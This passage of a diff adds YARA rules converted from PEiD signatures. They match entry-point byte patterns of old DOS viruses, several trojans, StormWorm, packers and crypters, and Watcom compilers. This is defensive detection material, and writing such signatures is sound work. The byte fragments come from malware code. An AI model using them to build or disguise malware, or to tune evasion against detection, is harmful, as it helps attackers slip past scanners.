+        $a = {55 8D ?? ?? ?? 33 DB 64 87 03 E8 ?? ?? ?? ?? 5B 8D}
+    condition:
+        $a
+}
+
+rule PEiD_03374_Vx__Compiler_
+{
+    meta:
+        description = "[Vx: Compiler]"
+        ep_only = "true"
+    strings:
+        $a = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+    condition:
+        $a
+}
+
+rule PEiD_03375_Vx__Danish_tiny_
+{
+    meta:
+        description = "[Vx: Danish tiny]"
+        ep_only = "true"
+    strings:
+        $a = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03376_Vx__Doom_666_
+{
+    meta:
+        description = "[Vx: Doom.666]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03377_Vx__Eddie_1028_
+{
+    meta:
+        description = "[Vx: Eddie.1028]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E FC 83 ?? ?? 81 ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E B8 FE 4B CD 21 81 FF BB 55 ?? ?? 07 ?? ?? ?? 07 B4 49 CD 21 BB FF FF B4 48 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03378_Vx__Eddie_1530_
+{
+    meta:
+        description = "[Vx: Eddie.1530]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? 50 06 56 1E 33 C0 50 1F C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_03379_Vx__Eddie_1800_
+{
+    meta:
+        description = "[Vx: Eddie.1800]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C4 ?? ?? ?? 2E ?? ?? ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_03380_Vx__Eddie_2000_
+{
+    meta:
+        description = "[Vx: Eddie.2000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03381_Vx__Eddie_2100_
+{
+    meta:
+        description = "[Vx: Eddie.2100]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 4F 4F 0E E8 ?? ?? 47 47 1E FF ?? ?? CB E8 ?? ?? 84 C0 ?? ?? 50 53 56 57 1E 06 B4 51 CD 21 8E C3 ?? ?? ?? ?? ?? ?? ?? 8B F2 B4 2F CD 21 AC}
+    condition:
+        $a
+}
+
+rule PEiD_03382_Vx__Eddie_based_1745_
+{
+    meta:
+        description = "[Vx: Eddie.based.1745]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? FC ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA ?? 8B E6 81 ?? ?? ?? FB ?? 3B ?? ?? ?? ?? ?? 50 06 ?? 56 1E 8B FE 33 C0 ?? 50 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_03383_Vx__Einstein_
+{
+    meta:
+        description = "[Vx: Einstein]"
+        ep_only = "true"
+    strings:
+        $a = {00 42 CD 21 72 31 B9 6E 03 33 D2 B4 40 CD 21 72 19 3B C1 75 15 B8 00 42}
+    condition:
+        $a
+}
+
+rule PEiD_03384_Vx__Explosion_1000_
+{
+    meta:
+        description = "[Vx: Explosion.1000]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 1E 06 50 81 ?? ?? ?? 56 FC B8 21 35 CD 21 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 26 ?? ?? ?? ?? ?? ?? 74 ?? 8C D8 48 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_03385_Vx__FaxFree_Topo_
+{
+    meta:
+        description = "[Vx: FaxFree.Topo]"
+        ep_only = "true"
+    strings:
+        $a = {FA 06 33 C0 8E C0 B8 ?? ?? 26 ?? ?? ?? ?? 50 8C C8 26 ?? ?? ?? ?? 50 CC 58 9D 58 26 ?? ?? ?? ?? 58 26 ?? ?? ?? ?? 07 FB}
+    condition:
+        $a
+}
+
+rule PEiD_03386_Vx__Gotcha_879_
+{
+    meta:
+        description = "[Vx: Gotcha.879]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 EB ?? ?? 9C FC 2E ?? ?? ?? ?? ?? ?? ?? 8C D8 05 ?? ?? 2E ?? ?? ?? ?? 50 2E ?? ?? ?? ?? ?? ?? 8B C3 05 ?? ?? 8B F0 BF 00 01 B9 20 00 F3 A4 0E B8 00 01 50 B8 DA DA CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03387_Vx__Grazie_883_
+{
+    meta:
+        description = "[Vx: Grazie.883]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F 50 06 BF 70 03 B4 1A BA 70 03 CD 21 B4 47 B2 00 BE 32 04 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03388_Vx__GRUNT_1_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.1.Family]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? 00 31 17}
+    condition:
+        $a
+}
+
+rule PEiD_03389_Vx__GRUNT_2_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.2.Family]"
+        ep_only = "true"
+    strings:
+        $a = {48 E2 F7 C3 51 53 52 E8 DD FF 5A 5B 59 C3 B9 00 00 E2 FE C3}
+    condition:
+        $a
+}
+
+rule PEiD_03390_Vx__GRUNT_4_Family_
+{
+    meta:
+        description = "[Vx: GRUNT.4.Family]"
+        ep_only = "true"
+    strings:
+        $a = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03391_Vx__Hafen_1641_
+{
+    meta:
+        description = "[Vx: Hafen.1641]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 01 ?? ?? ?? CE CC 25 ?? ?? 25 ?? ?? 25 ?? ?? 40 51 D4 ?? ?? ?? CC 47 CA ?? ?? 46 8A CC 44 88 CC}
+    condition:
+        $a
+}
+
+rule PEiD_03392_Vx__Hafen_809_
+{
+    meta:
+        description = "[Vx: Hafen.809]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 1C ?? 81 EE ?? ?? 50 1E 06 8C C8 8E D8 06 33 C0 8E C0 26 ?? ?? ?? 07 3D}
+    condition:
+        $a
+}
+rule PEiD_03393_Vx__Haryanto_
+{
+    meta:
+        description = "[Vx: Haryanto]"
+        ep_only = "true"
+    strings:
+        $a = {81 EB 2A 01 8B 0F 1E 5B 03 CB 0E 51 B9 10 01 51 CB}
+    condition:
+        $a
+}
+
+rule PEiD_03394_Vx__Heloween_1172_
+{
+    meta:
+        description = "[Vx: Heloween.1172]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+    condition:
+        $a
+}
+
+rule PEiD_03395_Vx__Horse_1776_
+{
+    meta:
+        description = "[Vx: Horse.1776]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 83 ?? ?? 06 1E 26 ?? ?? ?? ?? BF ?? ?? 1E 0E 1F 8B F7 01 EE B9 ?? ?? FC F3 A6 1F 1E 07}
+    condition:
+        $a
+}
+
+rule PEiD_03396_Vx__Hymn_1865_
+{
+    meta:
+        description = "[Vx: Hymn.1865]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 EE 4C FC 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 ?? ?? ?? FB 3B ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 50 06 56 1E 0E 1F B8 00 C5 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03397_Vx__Igor_
+{
+    meta:
+        description = "[Vx: Igor]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+    condition:
+        $a
+}
+
+rule PEiD_03398_Vx__Involuntary_1349_
+{
+    meta:
+        description = "[Vx: Involuntary.1349]"
+        ep_only = "true"
+    strings:
+        $a = {?? BA ?? ?? B9 ?? ?? 8C DD ?? 8C C8 ?? 8E D8 8E C0 33 F6 8B FE FC ?? ?? AD ?? 33 C2 AB}
+    condition:
+        $a
+}
+
+rule PEiD_03399_Vx__KBDflags_1024_
+{
+    meta:
+        description = "[Vx: KBDflags.1024]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC 2E 89 2E 24 03 BC 00 04 8C D5 2E 89 2E 22}
+    condition:
+        $a
+}
+
+rule PEiD_03400_Vx__Keypress_1212_
+{
+    meta:
+        description = "[Vx: Keypress.1212]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? E8 ?? ?? E8 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? EA ?? ?? ?? ?? 1E 33 DB 8E DB BB}
+    condition:
+        $a
+}
+
+rule PEiD_03401_Vx__Kuku_448_
+{
+    meta:
+        description = "[Vx: Kuku.448]"
+        ep_only = "true"
+    strings:
+        $a = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_03402_Vx__Kuku_886_
+{
+    meta:
+        description = "[Vx: Kuku.886]"
+        ep_only = "true"
+    strings:
+        $a = {06 1E 50 8C C8 8E D8 BA 70 03 B8 24 25 CD 21 ?? ?? ?? ?? ?? 90 B4 2F CD 21 53}
+    condition:
+        $a
+}
+
+rule PEiD_03403_Vx__Modification_of_Hi_924_
+{
+    meta:
+        description = "[Vx: Modification of Hi.924]"
+        ep_only = "true"
+    strings:
+        $a = {50 53 51 52 1E 06 9C B8 21 35 CD 21 53 BB ?? ?? 26 ?? ?? 49 48 5B}
+    condition:
+        $a
+}
+
+rule PEiD_03404_Vx__MTE__non_encrypted__
+{
+    meta:
+        description = "[Vx: MTE (non-encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D9 80 E1 FE 75 02 49 49 97 A3 ?? ?? 03 C1 24 FE 75 02 48}
+    condition:
+        $a
+}
+
+rule PEiD_03405_Vx__Ncu_Li_1688_
+{
+    meta:
+        description = "[Vx: Ncu-Li.1688]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03406_Vx__Necropolis_1963_
+{
+    meta:
+        description = "[Vx: Necropolis.1963]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 ?? ?? B8 00 12 CD 2F 3C FF B8 ?? ?? ?? ?? B4 4A BB 40 01 CD 21 ?? ?? FA 0E 17 BC ?? ?? E8 ?? ?? FB A1 ?? ?? 0B C0}
+    condition:
+        $a
+}
+
+rule PEiD_03407_Vx__Necropolis_
+{
+    meta:
+        description = "[Vx: Necropolis]"
+        ep_only = "true"
+    strings:
+        $a = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+    condition:
+        $a
+}
+
+rule PEiD_03408_Vx__Noon_1163_
+{
+    meta:
+        description = "[Vx: Noon.1163]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 50 56 B4 CB CD 21 3C 07 ?? ?? 81 ?? ?? ?? 2E ?? ?? 4D 5A ?? ?? BF 00 01 89 DE FC}
+    condition:
+        $a
+}
+
+rule PEiD_03409_Vx__November_17_768_
+{
+    meta:
+        description = "[Vx: November 17.768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 81 EE ?? ?? 50 33 C0 8E D8 80 3E ?? ?? ?? 0E 1F ?? ?? FC}
+    condition:
+        $a
+}
+
+rule PEiD_03410_Vx__Number_One_
+{
+    meta:
+        description = "[Vx: Number One]"
+        ep_only = "true"
+    strings:
+        $a = {F9 07 3C 53 6D 69 6C 65 3E E8}
+    condition:
+        $a
+}
+
+rule PEiD_03411_Vx__Phoenix_927_
+{
+    meta:
+        description = "[Vx: Phoenix.927]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 C6 ?? ?? BF 00 01 B9 04 00 F3 A4 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03412_Vx__Predator_2448_
+{
+    meta:
+        description = "[Vx: Predator.2448]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F BF ?? ?? B8 ?? ?? B9 ?? ?? 49 ?? ?? ?? ?? 2A C1 4F 4F ?? ?? F9 CC}
+    condition:
+        $a
+}
+
+rule PEiD_03413_Vx__Quake_518_
+{
+    meta:
+        description = "[Vx: Quake.518]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 ?? ?? ?? ?? ?? ?? ?? B8 21 35 CD 21 81}
+    condition:
+        $a
+}
+
+rule PEiD_03414_Vx__SK_
+{
+    meta:
+        description = "[Vx: SK]"
+        ep_only = "true"
+    strings:
+        $a = {CD 20 B8 03 00 CD 10 51 E8 00 00 5E 83 EE 09}
+    condition:
+        $a
+}
+
+rule PEiD_03415_Vx__Slowload_
+{
+    meta:
+        description = "[Vx: Slowload]"
+        ep_only = "true"
+    strings:
+        $a = {03 D6 B4 40 CD 21 B8 02 42 33 D2 33 C9 CD 21 8B D6 B9 78 01}
+    condition:
+        $a
+}
+rule PEiD_03416_Vx__Sonik_Youth_
+{
+    meta:
+        description = "[Vx: Sonik Youth]"
+        ep_only = "true"
+    strings:
+        $a = {8A 16 02 00 8A 07 32 C2 88 07 43 FE C2 81 FB}
+    condition:
+        $a
+}
+
+rule PEiD_03417_Vx__Spanz_
+{
+    meta:
+        description = "[Vx: Spanz]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 5E 81 EE ?? ?? 8D 94 ?? ?? B4 1A CD 21 C7 84}
+    condition:
+        $a
+}
+
+rule PEiD_03418_Vx__SYP_
+{
+    meta:
+        description = "[Vx: SYP]"
+        ep_only = "true"
+    strings:
+        $a = {47 8B C2 05 1E 00 52 8B D0 B8 02 3D CD 21 8B D8 5A}
+    condition:
+        $a
+}
+
+rule PEiD_03419_VX__Tibs_Zhelatin__StormWorm__variant_
+{
+    meta:
+        description = "[VX: Tibs/Zhelatin \"StormWorm\" variant]"
+        ep_only = "true"
+    strings:
+        $a = {FF 74 24 1C 58 8D 80 ?? ?? 77 04 50 68 62 34 35 04 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03420_Vx__TravJack_883_
+{
+    meta:
+        description = "[Vx: TravJack.883]"
+        ep_only = "true"
+    strings:
+        $a = {EB ?? 9C 9E 26 ?? ?? 51 04 ?? 7D ?? 00 ?? 2E ?? ?? ?? ?? 8C C8 8E C0 8E D8 80 ?? ?? ?? ?? 74 ?? 8A ?? ?? ?? BB ?? ?? 8A ?? 32 C2 88 ?? FE C2 43 81}
+    condition:
+        $a
+}
+
+rule PEiD_03421_Vx__Trivial_25_
+{
+    meta:
+        description = "[Vx: Trivial.25]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+    condition:
+        $a
+}
+
+rule PEiD_03422_Vx__Trivial_46_
+{
+    meta:
+        description = "[Vx: Trivial.46]"
+        ep_only = "true"
+    strings:
+        $a = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03423_Vx__Trojan_Telefoon_
+{
+    meta:
+        description = "[Vx: Trojan.Telefoon]"
+        ep_only = "true"
+    strings:
+        $a = {60 1E E8 3B 01 BF CC 01 2E 03 3E CA 01 2E C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_03424_Vx__Uddy_2617_
+{
+    meta:
+        description = "[Vx: Uddy.2617]"
+        ep_only = "true"
+    strings:
+        $a = {2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? 8C C8 8E D8 8C ?? ?? ?? 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? A1 ?? ?? A3 ?? ?? 8C C8 2B ?? ?? ?? 03 ?? ?? ?? A3 ?? ?? B8 AB 9C CD 2F 3D 76 98}
+    condition:
+        $a
+}
+
+rule PEiD_03425_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 34 ?? ?? 46 46 E2 F8 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03426_Vx__VCL__encrypted__
+{
+    meta:
+        description = "[Vx: VCL (encrypted)]"
+        ep_only = "true"
+    strings:
+        $a = {01 B9 ?? ?? 81 35 ?? ?? 47 47 E2 F8 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03427_Vx__VCL_
+{
+    meta:
+        description = "[Vx: VCL]"
+        ep_only = "true"
+    strings:
+        $a = {AC B9 00 80 F2 AE B9 04 00 AC AE 75 ?? E2 FA 89}
+    condition:
+        $a
+}
+
+rule PEiD_03428_Vx__VirusConstructor_IVP__based_
+{
+    meta:
+        description = "[Vx: VirusConstructor(IVP).based]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? E8 ?? ?? 5D ?? ?? ?? ?? ?? 81 ED ?? ?? ?? ?? ?? ?? E8 ?? ?? 81 FC ?? ?? ?? ?? 8D ?? ?? ?? BF ?? ?? 57 A4 A5}
+    condition:
+        $a
+}
+
+rule PEiD_03429_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? B9 ?? ?? 2E ?? ?? ?? ?? 43 43 ?? ?? 8B EC CC 8B ?? ?? 81 ?? ?? ?? 06 1E B8 ?? ?? CD 21 3D ?? ?? ?? ?? 8C D8 48 8E D8}
+    condition:
+        $a
+}
+
+rule PEiD_03430_Vx__VirusConstructor_based_
+{
+    meta:
+        description = "[Vx: VirusConstructor.based]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5D 81 ?? ?? ?? 06 1E E8 ?? ?? E8 ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B4 4A BB FF FF CD 21 83 ?? ?? B4 4A CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03431_Vx__XPEH_4768_
+{
+    meta:
+        description = "[Vx: XPEH.4768]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03432_Vx__XRCV_1015_
+{
+    meta:
+        description = "[Vx: XRCV.1015]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5E 83 ?? ?? 53 51 1E 06 B4 99 CD 21 80 FC 21 ?? ?? ?? ?? ?? 33 C0 50 8C D8 48 8E C0 1F A1 ?? ?? 8B}
+    condition:
+        $a
+}
+
+rule PEiD_03433_W32_Jeefo__PE_File_Infector__
+{
+    meta:
+        description = "[W32.Jeefo (PE File Infector)]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A 02 A1 C8 ?? ?? ?? FF D0 E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03434_WARNING____TROJAN____ADinjector_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> ADinjector]"
+        ep_only = "true"
+    strings:
+        $a = {90 61 BE 00 20 44 00 8D BE 00 F0 FB FF C7 87 9C E0 04 00 6A F0 8A 5E 57 83 CD FF EB 0E}
+    condition:
+        $a
+}
+
+rule PEiD_03435_WARNING____TROJAN____HuiGeZi_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> HuiGeZi]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 ?? FE FF FF 53 56 57 33 C0 89 85 ?? FE FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03436_WARNING____TROJAN____RobinPE_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> RobinPE]"
+        ep_only = "true"
+    strings:
+        $a = {60 6A 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03437_WARNING____TROJAN____XiaoHui_
+{
+    meta:
+        description = "[WARNING -> TROJAN -> XiaoHui]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 00 00 00 00 5D B8 ?? 85 40 00 2D ?? 85 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_03438_Warning__may_be_SimbyOZ_polycryptor_by_3xpl01t_ver_2_xx__25_03_2007_22_00__
+{
+    meta:
+        description = "[Warning! may be SimbyOZ polycryptor by 3xpl01t ver 2.xx (25.03.2007 22:00)]"
+        ep_only = "true"
+    strings:
+        $a = {57 57 8D 7C 24 04 50 B8 00 D0 17 13 AB 58 5F C3 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03439_WATCOM_C_C___32_Run_Time_System_1988_1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1994]"
+        ep_only = "true"
+    strings:
+        $a = {FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_03440_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54}
+    condition:
+        $a
+}
+
+rule PEiD_03441_WATCOM_C_C___32_Run_Time_System_1988_1995_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1988-1995]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D ?? 43 2F 43 2B 2B 33 32 ?? 52 75}
+    condition:
+        $a
+}
+
+rule PEiD_03442_WATCOM_C_C___32_Run_Time_System_1989__1994_
+{
+    meta:
+        description = "[WATCOM C/C++ 32 Run-Time System 1989, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F 8C C6 B4 ?? 50 BB ?? ?? CD 21 73 ?? 58 CD 21 72}
+    condition:
+        $a
+}
+rule PEiD_03443_WATCOM_C_C___DLL_
+{
+    meta:
+        description = "[WATCOM C/C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+    condition:
+        $a
+}
+
+rule PEiD_03444_WATCOM_C_C___Run_Time_system_DOS4GW_DOS_Extender_1988_93_
+{
+    meta:
+        description = "[WATCOM C/C++ Run-Time system+DOS4GW DOS Extender 1988-93]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E D7 81 C4 ?? ?? BE ?? ?? 2B F7 8B C6 B1 ?? D3}
+    condition:
+        $a
+}
+
+rule PEiD_03445_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20}
+    condition:
+        $a
+}
+
+rule PEiD_03446_Watcom_C_C___
+{
+    meta:
+        description = "[Watcom C/C++]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? 00 00 03 10 40 00 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 69 6D 65 20 73 79 73 74 65 6D 2E 20 28 63 29 20 43 6F 70 79 72 69 67 68 74 20 62 79 20 57 41 54 43 4F 4D 20 49 6E 74 65 72 6E 61 74 69 6F 6E 61 6C 20 43 6F 72 70 2E 20 31 39 38 38 2D 31 39 39 35 2E 20 41 6C 6C 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2E 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03447_WebCops__DLL_
+{
+    meta:
+        description = "[WebCops [DLL]"
+        ep_only = "true"
+    strings:
+        $a = {A8 BE 58 DC D6 CC C4 63 4A 0F E0 02 BB CE F3 5C 50 23 FB 62 E7 3D 2B}
+    condition:
+        $a
+}
+
+rule PEiD_03448_WebCops__EXE_
+{
+    meta:
+        description = "[WebCops [EXE]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+    condition:
+        $a
+}
+
+rule PEiD_03449_Werus_Crypter_1_0___by_Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 - by Kas]"
+        ep_only = "true"
+    strings:
+        $a = {BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03450_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40}
+    condition:
+        $a
+}
+
+rule PEiD_03451_Werus_Crypter_1_0____Kas_
+{
+    meta:
+        description = "[Werus Crypter 1.0 -> Kas]"
+        ep_only = "false"
+    strings:
+        $a = {68 98 11 40 00 6A 00 E8 50 00 00 00 C9 C3 ED B3 FE FF FF 6A 00 E8 0C 00 00 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 A8 10 40 00 FF 25 B0 10 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 BB E8 12 40 00 80 33 05 E9 7D FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_03452_WIBU_Key_V4_10A____WIBU_SYSTEMS_AG___Sign_by_fly_
+{
+    meta:
+        description = "[WIBU-Key V4.10A -> WIBU-SYSTEMS AG ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {F7 05 ?? ?? ?? ?? FF 00 00 00 75 12}
+    condition:
+        $a
+}
+
+rule PEiD_03453_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 64 40 00 10 E8 28 EA FF FF 33 C0 55 68 CE 51 00 10 64 ?? ?? ?? ?? 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 F6 DB FF FF 8B 45 EC E8 12 E7 FF FF 50 E8 3C EA FF FF 8B D8 83 FB FF}
+    condition:
+        $a
+}
+
+rule PEiD_03454_Wind_of_Crypt_1_0___by_DarkPressure_
+{
+    meta:
+        description = "[Wind of Crypt 1.0 - by DarkPressure]"
+        ep_only = "true"
+    strings:
